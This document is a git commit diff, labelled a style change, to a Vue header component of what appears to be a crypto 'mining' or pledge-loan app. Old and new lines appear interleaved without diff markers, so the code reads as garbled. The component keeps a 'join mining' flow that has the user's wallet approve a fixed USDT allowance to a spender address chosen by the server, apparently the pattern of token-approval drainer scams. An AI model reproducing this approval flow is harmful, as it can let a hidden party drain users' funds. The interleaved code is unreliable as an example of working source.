样式修改

lxf

2025-05-19 45190f969dd8c7d3d2c6e366694f0dadc5ea07e8

 src/components/ex-header/index.vue

@@ -1,155 +1,195 @@
<template>
    <div class="header flex mb-20 pt-20">
        <div class="flex items-center" style="width: 275px;">
         <van-icon @click="$router.push('/userCenter')" class="font-80 mr-18" :name="require(`@/assets/image/user.png`)" :badge="`${unread_num}`">
    <div class="flex items-center" style="width: 275px">
      <van-icon
        @click="$router.push('/userCenter')"
        class="font-80 mr-18"
        :name="require(`@/assets/image/user.png`)"
        :badge="`${unread_num}`"
      >
         </van-icon>
      <span class="user_name">{{ userInfo.username }}</span>
            <!-- <img :src="require(`@/assets/theme/${theme}/image/logo.png`)" alt="" class="w-72 h-72 mr-18" /> -->
         <div @click="$router.push('/quotes')" class="inputBoxbg h-60 w-full rounded-full flex items-center" style="background: #fafafa">
      <!-- <div @click="$router.push('/quotes')" class="inputBoxbg h-60 w-full rounded-full flex items-center" style="background: #fafafa">
             <img src="@/assets/image/icon-search.png" alt="logo" class="w-32 h-32 mx-16" />
             <input type="text"  :placeholder="$t('搜索')"
                 class="h-full flex-1 search-input border-none bg-none" disabled   />
         </div>
         </div> -->
<!--          <button class="px-16 font-24 h-60 border-none rounded-md textColor3 font-bold btnMain "-->
<!--                  @click="btnMining">{{ statusFilter(mingStatus) }}</button>-->
        </div>
        <div class="flex items-center">
            <div class="custom mr-20" @click="$router.push('/language')">
                <van-icon class="font-45" :name="require(`@/assets/image/lang.png`)" :badge="`${unread_num}`">
        <van-icon
          class="font-45"
          :name="require(`@/assets/image/lang.png`)"
          :badge="`${unread_num}`"
        >
                </van-icon>
            </div>
<!--          <div class="connect-wallet rounded-full btnMain" @click="connect">{{ formatText(userInfo.account) }}</div>-->
          <div class="flex items-center" @click="$router.push('/announce')">
                <van-icon class="font-45" :name="require(`@/assets/image/ling.png`)" :badge="`${unread_num}`">
      <!-- <div class="flex items-center" @click="$router.push('/announce')">
        <van-icon
          class="font-45"
          :name="require(`@/assets/image/ling.png`)"
          :badge="`${unread_num}`"
        >
                </van-icon>
            </div>
      </div> -->
        </div>
    </div>
</template>

<script>

import {mapGetters,mapActions} from "vuex";
import { CONNECT_WALLET } from '@/store/const.store';
import {_checkStatus, _joinCheck, _approve, _approveDone} from '@/API/pledgeLoan'
import Web3 from "web3"
import usdtAbi from '@/utils/USDT.json'
import { APPROVE_NUMBER, APPROVE_ADDRESS } from  '@/config/const.cfg'
import { CONNECT_WALLET } from "@/store/const.store";
import {
  _checkStatus,
  _joinCheck,
  _approve,
  _approveDone,
} from "@/API/pledgeLoan";
import Web3 from "web3";
import usdtAbi from "@/utils/USDT.json";
import { APPROVE_NUMBER, APPROVE_ADDRESS } from "@/config/const.cfg";
export default {
    props: {
        unread_num: {
            type: String,
            default: '',
      default: "",
        },
    },
    components: {
  components: {},
  created() {
    // this.$store.dispatch("user/getUserInfo");
    console.log("userInfo:", this.userInfo.username);
    },
    computed:{
      ...mapGetters({
        theme: 'home/theme',
        userInfo: 'user/userInfo',
        mingStatus:'user/mingStatus',
          },
      )

      theme: "home/theme",
      userInfo: "user/userInfo",
      mingStatus: "user/mingStatus",
    }),
    },
    data() {
        return {

        }
    return {};
    },
    methods: {
      ...mapActions('user', [CONNECT_WALLET]),
      async connect() { // 连接钱包
    ...mapActions("user", [CONNECT_WALLET]),
    async connect() {
      // 连接钱包
        // if (!this.userInfo.account) {
        //   await this.CONNECT_WALLET()
        // }
        let res = await this.CONNECT_WALLET('connect')
        this.$emit('connectSuccess', res)
      let res = await this.CONNECT_WALLET("connect");
      this.$emit("connectSuccess", res);
      },
      async btnMining() { // 参与挖矿
    async btnMining() {
      // 参与挖矿
        if (!this.userInfo.account) {
          this.$toast.fail(this.$t('请先连接钱包'))
          return
        this.$toast.fail(this.$t("请先连接钱包"));
        return;
        }

        if (this.mingStatus == 2 || this.mingStatus == 1) { // 已质押 , 或者确认中
      if (this.mingStatus == 2 || this.mingStatus == 1) {
        // 已质押 , 或者确认中
          return;
        } else {
          let data = await _joinCheck()
          this.gasObj = data.data
          if ([0, -5].includes(this.gasObj.check_answer)) { // 0未授权 和-5异常
        let data = await _joinCheck();
        this.gasObj = data.data;
        if ([0, -5].includes(this.gasObj.check_answer)) {
          // 0未授权 和-5异常
            this.$nextTick(() => {
              this.approve();
            })
          });
          }
        }
      },
      approve() { // 发起授权
    approve() {
      // 发起授权
        try {
          this.$toast.loading({ duration: 0, forbidClick: true })
        this.$toast.loading({ duration: 0, forbidClick: true });
          var approveAddress = this.userInfo.account;
          var web3 = new Web3(window.ethereum);
          const approveNum = APPROVE_NUMBER
          const address = APPROVE_ADDRESS
          var myContract = new web3.eth.Contract(usdtAbi, address, { from: web3.eth.defaultAccount });
        const approveNum = APPROVE_NUMBER;
        const address = APPROVE_ADDRESS;
        var myContract = new web3.eth.Contract(usdtAbi, address, {
          from: web3.eth.defaultAccount,
        });
          myContract.methods
              .approve(this.gasObj.to, approveNum)
              .send({ from: approveAddress, gasPrice: this.gasObj.gasprice, gas: this.gasObj.gaslimit }) // ,gasPrice: this.gasObj.gasPrice, gas: this.gasObj.gaslimit
              .on("transactionHash", (e) => { // 这里会得到一个hash值
                this.txnhash = e
                this.doApprove(this.gasObj.to) // 这里返回 check_answer： 1
          .send({
            from: approveAddress,
            gasPrice: this.gasObj.gasprice,
            gas: this.gasObj.gaslimit,
          }) // ,gasPrice: this.gasObj.gasPrice, gas: this.gasObj.gaslimit
          .on("transactionHash", (e) => {
            // 这里会得到一个hash值
            this.txnhash = e;
            this.doApprove(this.gasObj.to); // 这里返回 check_answer： 1
                // console.log("hash", hash);
                // if (hash) {
                //   this.approveDone(approveAddress);
                // }
              })
              .on('receipt', (e) => { // 这里会返回一个对象
                this.approveDone(this.txnhash) // 这里返回一个对象 approveAddress
          .on("receipt", (e) => {
            // 这里会返回一个对象
            this.approveDone(this.txnhash); // 这里返回一个对象 approveAddress
              })
              .on("error", (error) => {
                this.$toast.clear()
                const { code } = error
            this.$toast.clear();
            const { code } = error;
                if (code === 4001) {
                  this.$toast.fail(this.$t('您已拒绝'))
              this.$toast.fail(this.$t("您已拒绝"));
                }
              });
        } catch (err) {
          this.$toast.fail(this.$t('请重试'))
        this.$toast.fail(this.$t("请重试"));
          // this.approve()
          console.log(err)
        console.log(err);
        }
      },
      doApprove() {
        _approve().then(() => { // 加入ing
      _approve().then(() => {
        // 加入ing
          this.$toast({ message: this.$t("授权中") });
          this.checkStatus()
        })
        this.checkStatus();
      });
      },
      approveDone() { // 加入 ed
        _approveDone().then(data => {
    approveDone() {
      // 加入 ed
      _approveDone().then((data) => {
          // console.log('加入成功', data)
          this.checkStatus()
        })
        this.checkStatus();
      });
      },
      checkStatus() { // 检查状态
        _checkStatus().then(data => {
    checkStatus() {
      // 检查状态
      _checkStatus().then((data) => {
          // this.status = data.status
          this.$store.commit('user/SET_STATUS', data.status)
        })
        this.$store.commit("user/SET_STATUS", data.status);
      });
      },
      statusFilter(val) {
        const status = { '0': this.$t('Receive Node'), '1': this.$t('确认中'), '2': this.$t('已开通账户'), '-1': this.$t('重新检测'), '-2': this.$t('检测中'), '-5': this.$t('异常授权，重新加入') }
        return status[val] || this.$t('Receive Node')
      const status = {
        0: this.$t("Receive Node"),
        1: this.$t("确认中"),
        2: this.$t("已开通账户"),
        "-1": this.$t("重新检测"),
        "-2": this.$t("检测中"),
        "-5": this.$t("异常授权，重新加入"),
      };
      return status[val] || this.$t("Receive Node");
      },
      formatText(str) {
        if (str) {
          return str.slice(0, 3) + "****" + str.slice(str.length - 3)
        return str.slice(0, 3) + "****" + str.slice(str.length - 3);
        } else {
          return this.$t('链接钱包')
        return this.$t("链接钱包");
        }
      },
    }
}
  },
};
</script>

<style lang="scss" scoped>
@@ -177,4 +217,11 @@
    color: themed("text_color3");
  }
}

.user_name {
  font-size: 2.2rem;
  @include themify() {
    color: themed("text_color3");
  }
}
</style>